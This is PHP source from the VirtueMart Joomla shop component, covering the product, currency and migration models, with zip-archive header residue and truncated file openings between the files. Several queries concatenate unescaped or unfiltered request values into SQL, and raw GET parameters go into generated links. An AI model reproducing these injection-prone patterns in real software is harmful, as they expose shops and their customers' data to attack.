($data['categories']) > 0) { $data['virtuemart_category_id'] = $data['categories']; } else { $data['virtuemart_category_id'] = array(); } $data = $this->updateXrefAndChildTables ($data, 'product_categories'); // Update waiting list //TODO what is this doing? if (!empty($data['notify_users'])) { if ($data['product_in_stock'] > 0 && $data['notify_users'] == '1') { $waitinglist = VmModel::getModel ('Waitinglist'); $waitinglist->notifyList ($data['virtuemart_product_id']); } } // Process the images $mediaModel = VmModel::getModel ('Media'); $mediaModel->storeMedia ($data, 'product'); $errors = $mediaModel->getErrors (); foreach ($errors as $error) { vmError ($error); } } return $product_data->virtuemart_product_id; } public function updateXrefAndChildTables ($data, $tableName, $preload = FALSE) { JRequest::checkToken () or jexit ('Invalid Token'); //First we load the xref table, to get the old data $product_table_Parent = $this->getTable ($tableName); //We must go that way, because the load function of the vmtablexarry // is working different. if($preload){ //$product_table_Parent->setOrderable('ordering',false); $orderingA = $product_table_Parent->load($data['virtuemart_product_id']); } $product_table_Parent->bindChecknStore ($data); $errors = $product_table_Parent->getErrors (); foreach ($errors as $error) { vmError ($error); } return $data; } /** * This function creates a child for a given product id * * @author Max Milbers * @author Patrick Kohl * @param int id of parent id */ public function createChild ($id) { // created_on , modified_on $db = JFactory::getDBO (); $vendorId = 1; $childs = count ($this->getProductChildIds ($id)); $db->setQuery ('SELECT `product_name`,`slug` FROM `#__virtuemart_products` JOIN `#__virtuemart_products_' . VMLANG . '` as l using (`virtuemart_product_id`) WHERE `virtuemart_product_id`=' . (int)$id); $parent = $db->loadObject (); $prodTable = $this->getTable ('products'); //$newslug = $parent->slug . $id . rand (1, 9); $newslug = $prodTable->checkCreateUnique('products_' . VmConfig::$vmlang,$parent->slug); $data = array('product_name' => $parent->product_name, 'slug' => $newslug, 'virtuemart_vendor_id' => (int)$vendorId, 'product_parent_id' => (int)$id); $prodTable->bindChecknStore ($data); $langs = (array)VmConfig::get ('active_languages'); if (count ($langs) > 1) { foreach ($langs as $lang) { $lang = str_replace ('-', '_', strtolower ($lang)); $db->setQuery ('SELECT `product_name` FROM `#__virtuemart_products_' . $lang . '` WHERE `virtuemart_product_id` = "' . $prodTable->virtuemart_product_id . '" '); $res = $db->loadResult (); if (!$res) { $db->setQuery ('INSERT INTO `#__virtuemart_products_' . $lang . '` (`virtuemart_product_id`,`slug`) VALUES ("' . $prodTable->virtuemart_product_id . '","' . $newslug . '");'); $db->query (); $err = $db->getErrorMsg (); if (!empty($err)) { vmError ('Database error: createChild ' . $err); } } } } return $data['virtuemart_product_id']; } /** * Creates a clone of a given product id * * @author Max Milbers * @param int $virtuemart_product_id */ public function createClone ($id) { // if (is_array($cids)) $cids = array($cids); $product = $this->getProduct ($id, FALSE, FALSE, FALSE); $product->field = $this->productCustomsfieldsClone ($id); // vmdebug('$product->field',$product->field); $product->virtuemart_product_id = $product->virtuemart_product_price_id = 0; $product->mprices = $this->productPricesClone ($id); //Lets check if the user is admin or the mainvendor if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $admin = Permissions::getInstance()->check('admin'); if($admin){ $product->created_on = "0000-00-00 00:00:00"; $product->created_by = 0; } $product->slug = $product->slug . '-' . $id; $product->save_customfields = 1; JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $result=$dispatcher->trigger ('plgVmCloneProduct', array(&$product)); $this->store ($product); return $this->_id; } private function productPricesClone ($virtuemart_product_id) { $this->_db = JFactory::getDBO (); $q = "SELECT * FROM `#__virtuemart_product_prices`"; $q .= " WHERE `virtuemart_product_id` = " . $virtuemart_product_id; $this->_db->setQuery ($q); $prices = $this->_db->loadAssocList (); if ($prices) { foreach ($prices as $k => &$price) { unset($price['virtuemart_product_id'], $price['virtuemart_product_price_id']); if(empty($mprices[$k])) $mprices[$k] = array(); foreach ($price as $i => $value) { if(empty($mprices[$i])) $mprices[$i] = array(); $mprices[$i][$k] = $value; } } return $mprices; } else { return NULL; } } /* look if whe have a product type */ private function productCustomsfieldsClone ($virtuemart_product_id) { $this->_db = JFactory::getDBO (); $q = "SELECT * FROM `#__virtuemart_product_customfields`"; $q .= " WHERE `virtuemart_product_id` = " . $virtuemart_product_id; $this->_db->setQuery ($q); $customfields = $this->_db->loadAssocList (); if ($customfields) { foreach ($customfields as &$customfield) { unset($customfield['virtuemart_product_id'], $customfield['virtuemart_customfield_id']); } return $customfields; } else { return NULL; } } /** * removes a product and related table entries * * @author Max Milberes */ public function remove ($ids) { $table = $this->getTable ($this->_maintablename); $cats = $this->getTable ('product_categories'); $customfields = $this->getTable ('product_customfields'); $manufacturers = $this->getTable ('product_manufacturers'); $medias = $this->getTable ('product_medias'); $prices = $this->getTable ('product_prices'); $shop = $this->getTable ('product_shoppergroups'); $rating = $this->getTable ('ratings'); $review = $this->getTable ('rating_reviews'); $votes = $this->getTable ('rating_votes'); $ok = TRUE; foreach ($ids as $id) { $childIds = $this->getProductChildIds ($id); if (!empty($childIds)) { vmError (JText::_ ('COM_VIRTUEMART_PRODUCT_CANT_DELETE_CHILD')); $ok = FALSE; continue; } if (!$table->delete ($id)) { vmError ('Product delete ' . $table->getError ()); $ok = FALSE; } if (!$cats->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete categories ' . $cats->getError ()); $ok = FALSE; } if (!$customfields->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete customs ' . $customfields->getError ()); $ok = FALSE; } $db = JFactory::getDbo(); $q = 'SELECT `virtuemart_customfield_id` FROM `#__virtuemart_product_customfields` as pc '; $q .= 'LEFT JOIN `#__virtuemart_customs`as c using (`virtuemart_custom_id`) WHERE pc.`custom_value` = "' . $id . '" AND `field_type`= "R"'; $db->setQuery($q); $list = $db->loadResultArray(); if ($list) { $listInString = implode(',',$list); //Delete media xref $query = 'DELETE FROM `#__virtuemart_product_customfields` WHERE `virtuemart_customfield_id` IN ('. $listInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } } if (!$manufacturers->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete manufacturer ' . $manufacturers->getError ()); $ok = FALSE; } if (!$medias->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete medias ' . $medias->getError ()); $ok = FALSE; } if (!$prices->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete prices ' . $prices->getError ()); $ok = FALSE; } if (!$shop->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete shoppergroups ' . $shop->getError ()); $ok = FALSE; } if (!$rating->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete rating ' . $rating->getError ()); $ok = FALSE; } if (!$review->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete reviews ' . $review->getError ()); $ok = FALSE; } if (!$votes->delete ($id, 'virtuemart_product_id')) { vmError ('Product delete votes ' . $votes->getError ()); $ok = FALSE; } // delete plugin on product delete // $ok must be set to false if an error occurs JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $dispatcher->trigger ('plgVmOnDeleteProduct', array($id, &$ok)); } return $ok; } /** * Gets the price for a variant * * @author Max Milbers */ public function getPrice ($product, $customVariant, $quantity) { $this->_db = JFactory::getDBO (); // vmdebug('strange',$product); if (!is_object ($product)) { // vmError('deprecated use of getPrice'); $product = $this->getProduct ($product, TRUE, FALSE, TRUE,$quantity); // return false; } // Loads the product price details if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); // Calculate the modificator $variantPriceModification = $calculator->calculateModificators ($product, $customVariant); $prices = $calculator->getProductPrices ($product, $variantPriceModification, $quantity); return $prices; } /** * Get the Order By Select List * * notice by Max Milbers html tags should never be in a model. This function should be moved to a helper or simular,... * * @author Kohl Patrick * @access public * @param $fieds from config Back-end * @return $orderByList * Order,order By, manufacturer and category link List to echo Out **/ function getOrderByList ($virtuemart_category_id = FALSE) { $getArray = (JRequest::get ('get')); $link = ''; $fieldLink = ''; // remove setted variable unset ($getArray['globalCurrencyConverter'], $getArray['virtuemart_manufacturer_id'], $getArray['order'], $getArray['orderby']); // foreach ($getArray as $key => $value ) // $fieldLink .= '&'.$key.'='.$value; //vmdebug('getOrderByList',$getArray); foreach ($getArray as $key => $value) { if (is_array ($value)) { foreach ($value as $k => $v) { $fieldLink .= '&' . $key . '[' . $k . ']' . '=' . $v; } } else { if($key=='dir' or $key=='orderby') continue; if(empty($value)) continue; $fieldLink .= '&' . $key . '=' . $value; } } $fieldLink[0] = "?"; $fieldLink = 'index.php' . $fieldLink; $orderDirLink = ''; $orderDirConf = VmConfig::get ('prd_brws_orderby_dir'); $orderDir = JRequest::getWord ('dir', $orderDirConf); if ($orderDir != $orderDirConf ) { $orderDirLink .= '&dir=' . $orderDir; //was '&order=' } $orderbyTxt = ''; $orderby = JRequest::getVar ('orderby', VmConfig::get ('browse_orderby_field')); $orderby = $this->checkFilterOrder ($orderby); $orderbyCfg = VmConfig::get ('browse_orderby_field'); if ($orderby != $orderbyCfg) { $orderbyTxt = '&orderby=' . $orderby; } $manufacturerTxt = ''; $manufacturerLink = ''; if (VmConfig::get ('show_manufacturers')) { // manufacturer link list $virtuemart_manufacturer_id = JRequest::getInt ('virtuemart_manufacturer_id', ''); if ($virtuemart_manufacturer_id != '') { $manufacturerTxt = '&virtuemart_manufacturer_id=' . $virtuemart_manufacturer_id; } // if ($mf_virtuemart_product_ids) { $query = 'SELECT DISTINCT l.`mf_name`,l.`virtuemart_manufacturer_id` FROM `#__virtuemart_manufacturers_' . VMLANG . '` as l'; $query .= ' JOIN `#__virtuemart_product_manufacturers` AS pm using (`virtuemart_manufacturer_id`)'; $query .= ' LEFT JOIN `#__virtuemart_products` as p ON p.`virtuemart_product_id` = pm.`virtuemart_product_id` '; $query .= ' LEFT JOIN `#__virtuemart_product_categories` as c ON c.`virtuemart_product_id` = pm.`virtuemart_product_id` '; $query .= ' WHERE p.`published` =1'; if ($virtuemart_category_id) { $query .= ' AND c.`virtuemart_category_id` =' . (int)$virtuemart_category_id; } $query .= ' ORDER BY l.`mf_name`'; $this->_db->setQuery ($query); $manufacturers = $this->_db->loadObjectList (); // vmdebug('my manufacturers',$this->_db->getQuery()); $manufacturerLink = ''; if (count ($manufacturers) > 0) { $manufacturerLink = '
      '; if ($virtuemart_manufacturer_id > 0) { $manufacturerLink .= ''; } if (count ($manufacturers) > 1) { foreach ($manufacturers as $mf) { $link = JRoute::_ ($fieldLink . '&virtuemart_manufacturer_id=' . $mf->virtuemart_manufacturer_id . $orderbyTxt . $orderDirLink,FALSE); if ($mf->virtuemart_manufacturer_id != $virtuemart_manufacturer_id) { $manufacturerLink .= ''; } else { $currentManufacturerLink = '
      ' . JText::_ ('COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL') . '
      ' . $mf->mf_name . '
      '; } } } elseif ($virtuemart_manufacturer_id > 0) { $currentManufacturerLink = '
      ' . JText::_ ('COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL') . '
      ' . $manufacturers[0]->mf_name . '
      '; } else { $currentManufacturerLink = '
      ' . JText::_ ('COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL') . '
      ' . $manufacturers[0]->mf_name . '
      '; } $manufacturerLink .= '
      '; } // } } /* order by link list*/ $orderByLink = ''; $fields = VmConfig::get ('browse_orderby_fields'); if (count ($fields) > 1) { $orderByLink = '
      '; foreach ($fields as $field) { if ($field != $orderby) { $dotps = strrpos ($field, '.'); if ($dotps !== FALSE) { $prefix = substr ($field, 0, $dotps + 1); $fieldWithoutPrefix = substr ($field, $dotps + 1); // vmdebug('Found dot '.$dotps.' $prefix '.$prefix.' $fieldWithoutPrefix '.$fieldWithoutPrefix); } else { $prefix = ''; $fieldWithoutPrefix = $field; } $text = JText::_ ('COM_VIRTUEMART_' . strtoupper ($fieldWithoutPrefix)); $field = explode('.',$field); if(isset($field[1])){ $field = $field[1]; } else { $field = $field[0]; } $link = JRoute::_ ($fieldLink . $manufacturerTxt . '&orderby=' . $field,FALSE); $orderByLink .= ''; } } $orderByLink .= '
      '; } if($orderDir == 'ASC'){ $orderDir = 'DESC'; } else { $orderDir = 'ASC'; } if ($orderDir != $orderDirConf ) { $orderDirLink = '&dir=' . $orderDir; //was '&order=' } else { $orderDirLink = ''; } //$orderDirTxt = JText::_ ('COM_VIRTUEMART_SEARCH_ORDER_'.$orderDir); $orderDirTxt = JText::_ ('COM_VIRTUEMART_'.$orderDir); $link = JRoute::_ ($fieldLink . $orderbyTxt . $orderDirLink . $manufacturerTxt,FALSE); // full string list if ($orderby == '') { $orderby = $orderbyCfg; } $orderby = strtoupper ($orderby); $dotps = strrpos ($orderby, '.'); if ($dotps !== FALSE) { $prefix = substr ($orderby, 0, $dotps + 1); $orderby = substr ($orderby, $dotps + 1); // vmdebug('Found dot '.$dotps.' $prefix '.$prefix.' $fieldWithoutPrefix '.$fieldWithoutPrefix); } else { $prefix = ''; // $orderby = $orderby; } $orderByList = '
      ' . JText::_ ('COM_VIRTUEMART_ORDERBY') . '
      '; $orderByList .= $orderByLink . '
      '; $manuList = ''; if (VmConfig::get ('show_manufacturers')) { if (empty ($currentManufacturerLink)) { $currentManufacturerLink = '
      ' . JText::_ ('COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL') . '
      ' . JText::_ ('COM_VIRTUEMART_SEARCH_SELECT_MANUFACTURER') . '
      '; } $manuList = '
      ' . $currentManufacturerLink; $manuList .= $manufacturerLink . '
      '; } return array('orderby'=> $orderByList, 'manufacturer'=> $manuList); } // ************************************************** //Stocks // /** * Get the stock level for a given product * * @author RolandD * @access public * @param object $product the product to get stocklevel for * @return array containing product objects */ public function getStockIndicator ($product) { $this->_db = JFactory::getDBO (); /* Assign class to indicator */ $stock_level = $product->product_in_stock - $product->product_ordered; $reorder_level = $product->low_stock_notification; $level = 'normalstock'; $stock_tip = JText::_ ('COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_NORMAL_TIP'); if ($stock_level <= $reorder_level) { $level = 'lowstock'; $stock_tip = JText::_ ('COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_LOW_TIP'); } if ($stock_level <= 0) { $level = 'nostock'; $stock_tip = JText::_ ('COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_OUT_TIP'); } $stock = new Stdclass(); $stock->stock_tip = $stock_tip; $stock->stock_level = $level; return $stock; } public function updateStockInDB ($product, $amount, $signInStock, $signOrderedStock) { // vmdebug( 'stockupdate in DB', $product->virtuemart_product_id,$amount, $signInStock, $signOrderedStock ); $validFields = array('=', '+', '-'); if (!in_array ($signInStock, $validFields)) { return FALSE; } if (!in_array ($signOrderedStock, $validFields)) { return FALSE; } //sanitize fields $id = (int)$product->virtuemart_product_id; $amount = (float)$amount; $update = array(); if ($signInStock != '=' or $signOrderedStock != '=') { if ($signInStock != '=') { $update[] = '`product_in_stock` = `product_in_stock` ' . $signInStock . $amount; if (strpos ($signInStock, '+') !== FALSE) { $signInStock = '-'; } else { $signInStock = '+'; } $update[] = '`product_sales` = `product_sales` ' . $signInStock . $amount; } if ($signOrderedStock != '=') { $update[] = '`product_ordered` = `product_ordered` ' . $signOrderedStock . $amount; } $q = 'UPDATE `#__virtuemart_products` SET ' . implode (", ", $update) . ' WHERE `virtuemart_product_id` = ' . $id; $this->_db->setQuery ($q); $this->_db->query (); //The low on stock notification comes now, when the people ordered. //You need to know that the stock is going low before you actually sent the wares, because then you ususally know it already yoursefl //note by Max Milbers if ($signInStock == '+') { $this->_db->setQuery ('SELECT (IFNULL(`product_in_stock`,"0")+IFNULL(`product_ordered`,"0")) < IFNULL(`low_stock_notification`,"0") ' . 'FROM `#__virtuemart_products` ' . 'WHERE `virtuemart_product_id` = ' . $id ); if ($this->_db->loadResult () == 1) { $this->lowStockWarningEmail( $id) ; } } } } function lowStockWarningEmail($virtuemart_product_id) { if(VmConfig::get('lstockmail',TRUE)){ if (!class_exists ('shopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } /* Load the product details */ $q = "SELECT l.product_name,product_in_stock FROM `#__virtuemart_products_" . VMLANG . "` l JOIN `#__virtuemart_products` p ON p.virtuemart_product_id=l.virtuemart_product_id WHERE p.virtuemart_product_id = " . $virtuemart_product_id; $this->_db->setQuery ($q); $vars = $this->_db->loadAssoc (); $url = JURI::root () . 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id; $link = ''. $vars['product_name'].''; $vars['subject'] = JText::sprintf('COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_SUBJECT',$vars['product_name']); $vars['mailbody'] =JText::sprintf('COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_BODY',$link, $vars['product_in_stock']); $virtuemart_vendor_id = 1; $vendorModel = VmModel::getModel ('vendor'); $vendor = $vendorModel->getVendor ($virtuemart_vendor_id); $vendorModel->addImages ($vendor); $vars['vendor'] = $vendor; $vars['vendorAddress']= shopFunctions::renderVendorAddress($virtuemart_vendor_id); $vars['vendorEmail'] = $vendorModel->getVendorEmail ($virtuemart_vendor_id); $vars['user'] = $vendor->vendor_store_name ; shopFunctionsF::renderMail ('productdetails', $vars['vendorEmail'], $vars, 'productdetails', TRUE) ; return TRUE; } else { return FALSE; } } public function getUncategorizedChildren ($withParent) { if (empty($this->_uncategorizedChildren[$this->_id])) { //Todo add check for shoppergroup depended product display $q = 'SELECT * FROM `#__virtuemart_products` as p LEFT JOIN `#__virtuemart_products_' . VMLANG . '` as pl USING (`virtuemart_product_id`) LEFT JOIN `#__virtuemart_product_categories` as pc USING (`virtuemart_product_id`) '; // $q .= ' WHERE (`product_parent_id` = "'.$this->_id.'" AND (pc.`virtuemart_category_id`) IS NULL ) OR (`virtuemart_product_id` = "'.$this->_id.'" ) '; if ($withParent) { $q .= ' WHERE (`product_parent_id` = "' . $this->_id . '" OR `virtuemart_product_id` = "' . $this->_id . '") '; } else { $q .= ' WHERE `product_parent_id` = "' . $this->_id . '" '; } $app = JFactory::getApplication (); if ($app->isSite () && !VmConfig::get ('use_as_catalog', 0) && VmConfig::get ('stockhandle', 'none') == 'disableit') { $q .= ' AND p.`product_in_stock`>"0" '; } if ($app->isSite ()) { $q .= ' AND p.`published`="1"'; } $q .= ' GROUP BY `virtuemart_product_id` ORDER BY p.pordering ASC'; $this->_db->setQuery ($q); $this->_uncategorizedChildren[$this->_id] = $this->_db->loadAssocList (); $err = $this->_db->getErrorMsg (); if (!empty($err)) { vmError ('getUncategorizedChildren sql error ' . $err, 'getUncategorizedChildren sql error'); vmdebug ('getUncategorizedChildren ' . $err); return FALSE; } // vmdebug('getUncategorizedChildren '.$this->_db->getQuery(),$this->_uncategorizedChildren); } return $this->_uncategorizedChildren[$this->_id]; } /** * Check if the product has any children * * @author RolandD * @author Max Milbers * @param int $virtuemart_product_id Product ID * @return bool True if there are child products, false if there are no child products */ public function checkChildProducts ($virtuemart_product_id) { $q = 'SELECT IF(COUNT(virtuemart_product_id) > 0, "0", "1") FROM `#__virtuemart_products` WHERE `product_parent_id` = "' . (int)$virtuemart_product_id . '"'; $this->_db->setQuery ($q); return $this->_db->loadResult (); } function getProductChilds ($product_id) { if (empty($product_id)) { return array(); } $db = JFactory::getDBO (); $db->setQuery (' SELECT virtuemart_product_id, product_name FROM `#__virtuemart_products_' . VMLANG . '` JOIN `#__virtuemart_products` as C using (`virtuemart_product_id`) WHERE `product_parent_id` =' . (int)$product_id); return $db->loadObjectList (); } function getProductChildIds ($product_id) { if (empty($product_id)) { return array(); } $db = JFactory::getDBO (); $db->setQuery (' SELECT virtuemart_product_id FROM `#__virtuemart_products` WHERE `product_parent_id` =' . (int)$product_id.' ORDER BY pordering ASC'); return $db->loadResultArray (); } function getProductParent ($product_parent_id) { if (empty($product_parent_id)) { return array(); } $db = JFactory::getDBO (); $db->setQuery (' SELECT * FROM `#__virtuemart_products_' . VMLANG . '` WHERE `virtuemart_product_id` =' . (int)$product_parent_id); return $db->loadObject (); } function sentProductEmailToShoppers () { jimport ('joomla.utilities.arrayhelper'); if (!class_exists ('ShopFunctions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); } $product_id = JRequest::getVar ('virtuemart_product_id', ''); vmdebug ('sentProductEmailToShoppers product id', $product_id); $vars = array(); $vars['subject'] = JRequest::getVar ('subject'); $vars['mailbody'] = JRequest::getVar ('mailbody'); $order_states = JRequest::getVar ('statut', array(), '', 'ARRAY'); $productShoppers = $this->getProductShoppersByStatus ($product_id, $order_states); vmdebug ('productShoppers ', $productShoppers); $productModel = VmModel::getModel ('product'); $product = $productModel->getProduct ($product_id); $vendorModel = VmModel::getModel ('vendor'); $vendor = $vendorModel->getVendor ($product->virtuemart_vendor_id); $vendorModel->addImages ($vendor); $vars['vendor'] = $vendor; $vars['vendorEmail'] = $vendorModel->getVendorEmail ($product->virtuemart_vendor_id); $vars['vendorAddress'] = shopFunctions::renderVendorAddress ($product->virtuemart_vendor_id); $orderModel = VmModel::getModel ('orders'); foreach ($productShoppers as $productShopper) { $vars['user'] = $productShopper['name']; if (shopFunctionsF::renderMail ('productdetails', $productShopper['email'], $vars, 'productdetails', TRUE)) { $string = 'COM_VIRTUEMART_MAIL_SEND_SUCCESSFULLY'; } else { $string = 'COM_VIRTUEMART_MAIL_NOT_SEND_SUCCESSFULLY'; } /* Update the order history for each order */ foreach ($productShopper['order_info'] as $order_info) { $orderModel->_updateOrderHist ($order_info['order_id'], $order_info['order_status'], 1, $vars['subject'] . ' ' . $vars['mailbody']); } // todo: when there is an error while sending emails //vmInfo (JText::sprintf ($string, $productShopper['email'])); } } public function getProductShoppersByStatus ($product_id, $states) { if (empty($states)) { return FALSE; } $orderstatusModel = VmModel::getModel ('orderstatus'); $orderStates = $orderstatusModel->getOrderStatusNames (); foreach ($states as &$status) { if (!array_key_exists ($status, $orderStates)) { unset($status); } } if (empty($states)) { return FALSE; } $q = 'SELECT ou.* , oi.product_quantity , o.order_number, o.order_status, oi.`order_status` AS order_item_status , o.virtuemart_order_id FROM `#__virtuemart_order_userinfos` as ou JOIN `#__virtuemart_order_items` AS oi USING (`virtuemart_order_id`) JOIN `#__virtuemart_orders` AS o ON o.`virtuemart_order_id` = oi.`virtuemart_order_id` WHERE ou.`address_type`="BT" AND oi.`virtuemart_product_id`=' . (int)$product_id; if (count ($orderStates) !== count ($states)) { $q .= ' AND oi.`order_status` IN ( "' . implode ('","', $states) . '") '; } $q .= ' ORDER BY ou.`email` ASC'; $this->_db->setQuery ($q); $productShoppers = $this->_db->loadAssocList (); $shoppers = array(); foreach ($productShoppers as $productShopper) { $key = $productShopper['email']; if (!array_key_exists ($key, $shoppers)) { $shoppers[$key]['phone'] = !empty($productShopper['phone_1']) ? $productShopper['phone_1'] : (!empty($productShopper['phone_2']) ? $productShopper['phone_2'] : '-'); $shoppers[$key]['name'] = $productShopper['first_name'] . ' ' . $productShopper['last_name']; $shoppers[$key]['email'] = $productShopper['email']; $shoppers[$key]['mail_to'] = 'mailto:' . $productShopper['email']; $shoppers[$key]['nb_orders'] = 0; } $i = $shoppers[$key]['nb_orders']; $shoppers[$key]['order_info'][$i]['order_number'] = $productShopper['order_number']; $shoppers[$key]['order_info'][$i]['order_id'] = $productShopper['virtuemart_order_id']; $shoppers[$key]['order_info'][$i]['order_status'] = $productShopper['order_status']; $shoppers[$key]['order_info'][$i]['order_item_status_name'] = $orderStates[$productShopper['order_item_status']]['order_status_name']; $shoppers[$key]['order_info'][$i]['quantity'] = $productShopper['product_quantity']; $shoppers[$key]['nb_orders']++; } return $shoppers; } } // No closing tagPKs>\Jz>&&"com_virtuemart/models/currency.phpnuW+AsetMainTable('currencies'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author Max Milbers */ function getCurrency($currency_id=0) { if(!empty($currency_id)) $this->setId((int)$currency_id); if (empty($this->_data) ) { $this->_data = $this->getTable('currencies'); $this->_data->load((int)$this->_id); } return $this->_data; } /** * Retireve a list of currencies from the database. * This function is used in the backend for the currency listing, therefore no asking if enabled or not * @author Max Milbers * @return object List of currency objects */ function getCurrenciesList($search,$vendorId=1) { $where = array(); // $this->_query = 'SELECT * FROM `#__virtuemart_currencies` '; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if( !Permissions::getInstance()->check('admin') ){ $where[] = '(`virtuemart_vendor_id` = "'.(int)$vendorId.'" OR `shared`="1")'; } if(empty($search)){ $search = JRequest::getString('search', false); } /* add filters */ if($search){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); $where[] = '`currency_name` LIKE '.$search.' OR `currency_code_2` LIKE '.$search.' OR `currency_code_3` LIKE '.$search; } // if (JRequest::getString('search', false)) $where[] = '`currency_name` LIKE "%'.$this->_db->getEscaped(JRequest::getString('search')).'%"'; $whereString=''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; // if (count($where) > 0) $this->_query .= ' WHERE '.implode(' AND ', $where) ; // $this->_query .= $this->_getOrdering('currency_name'); // $this->_data = $this->_getList($this->_query, $this->getState('limitstart'), $this->getState('limit')); // $this->_total = $this->_getListCount($this->_query) ; // $object, $select, $joinedTables, $whereString = '', $groupBy = '', $orderBy = '', $filter_order_Dir = '', $nbrReturnProducts = false $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_currencies`',$whereString,'',$this->_getOrdering()); return $this->_data; // return $this->_data; } /** * Retireve a list of currencies from the database. * * This is written to get a list for selecting currencies. Therefore it asks for enabled * @author Max Milbers * @return object List of currency objects */ function getCurrencies($vendorId=1) { $db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_currencies` WHERE (`virtuemart_vendor_id` = "'.(int)$vendorId.'" OR `shared`="1") AND published = "1" ORDER BY `#__virtuemart_currencies`.`currency_name`'; $db->setQuery($q); return $db->loadObjectList(); } } // pure php no closing tagPKs>\B%!S!S*com_virtuemart/models/updatesmigration.phpnuW+A 0) { $this->_user = JFactory::getUser($virtuemart_user_id); } else { $this->_user = JFactory::getUser(); } return $this->_user->id; } /** * @author Max Milbers */ function setStoreOwner($userId=-1) { $allowInsert=FALSE; if($userId===-1){ $allowInsert = TRUE; $userId = 0; } if (empty($userId)) { $userId = $this->determineStoreOwner(); vmdebug('setStoreOwner $userId = '.$userId.' by determineStoreOwner'); } $db = JFactory::getDBO(); $db->setQuery('SELECT * FROM `#__virtuemart_vmusers` WHERE `virtuemart_user_id`= "' . $userId . '" '); $oldUserId = $db->loadResult(); if (!empty($oldUserId) and !empty($userId)) { $db->setQuery( 'UPDATE `#__virtuemart_vmusers` SET `virtuemart_vendor_id` = "0", `user_is_vendor` = "0", `perms` = "" WHERE `virtuemart_vendor_id` ="1" '); if ($db->query() == false ) { JError::raiseWarning(1, 'UPDATE __vmusers failed for virtuemart_user_id '.$userId); return false; } $db->setQuery( 'UPDATE `#__virtuemart_vmusers` SET `virtuemart_vendor_id` = "1", `user_is_vendor` = "1", `perms` = "admin" WHERE `virtuemart_user_id` ="'.$userId.'" '); if ($db->query() === false ) { JError::raiseWarning(1, 'UPDATE __vmusers failed for virtuemart_user_id '.$userId); return false; } else { vmInfo('setStoreOwner VmUser updated new main vendor has user id '.$userId); } } else if($allowInsert){ $db->setQuery('INSERT `#__virtuemart_vmusers` (`virtuemart_user_id`, `user_is_vendor`, `virtuemart_vendor_id`, `perms`) VALUES ("' . $userId . '", "1","1","admin")'); if ($db->query() === false ) { JError::raiseWarning(1, 'setStoreOwner was not possible to execute INSERT __vmusers for virtuemart_user_id '.$userId); return false; } else { vmInfo('setStoreOwner VmUser inserted new main vendor has user id '.$userId); } } return $userId; } /** * Syncs user permission * * @param int virtuemart_user_id * @return bool true on success * @author Christopher Roussel */ function setUserToPermissionGroup ($userId=0) { if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $usersTable = $this->getTable('vmusers'); $usersTable->load((int)$userId); $perm = Permissions::getInstance(); $usersTable->perms = $perm->getPermissions($userId); $result = $usersTable->check(); if ($result) { $result = $usersTable->store(); } if (!$result) { $errors = $usersTable->getErrors(); foreach($errors as $error) { vmError(get_class( $this ).'::setUserToPermissionGroup user '.$error); } return false; } $xrefTable = $this->getTable('vmuser_shoppergroups'); $data = $xrefTable->load((int)$userId); if (empty($data)) { $data = array('virtuemart_user_id'=>$userId, 'virtuemart_shoppergroup_id'=>'0'); if (!$xrefTable->save($data)) { $errors = $xrefTable->getErrors(); foreach($errors as $error){ vmError(get_class( $this ).'::setUserToPermissionGroup xref '.$error); } return false; } } return true; } /** * Installs sample data to the current database. * * @author Max Milbers, RickG * @params $userId User Id to add the userinfo and vendor sample data to */ function installSampleData($userId = null) { if ($userId == null) { $userId = $this->determineStoreOwner(); } $fields['username'] = $this->_user->username; $fields['virtuemart_user_id'] = $userId; $fields['address_type'] = 'BT'; // Don't change this company name; it's used in install_sample_data.sql $fields['company'] = "Sample Company"; $fields['title'] = 'Mr'; $fields['last_name'] = 'John'; $fields['first_name'] = 'Doe'; $fields['middle_name'] = ''; $fields['phone_1'] = '555-555-555'; $fields['address_1'] = 'PO Box 123'; $fields['city'] = 'Seattle'; $fields['zip'] = '98101'; $fields['virtuemart_state_id'] = '48'; $fields['virtuemart_country_id'] = '223'; // $fields['virtuemart_shoppergroup_id'] = ''; //Dont change this, atm everything is mapped to mainvendor with id=1 $fields['user_is_vendor'] = '1'; $fields['virtuemart_vendor_id'] = '1'; $fields['vendor_name'] = 'Sample Company'; 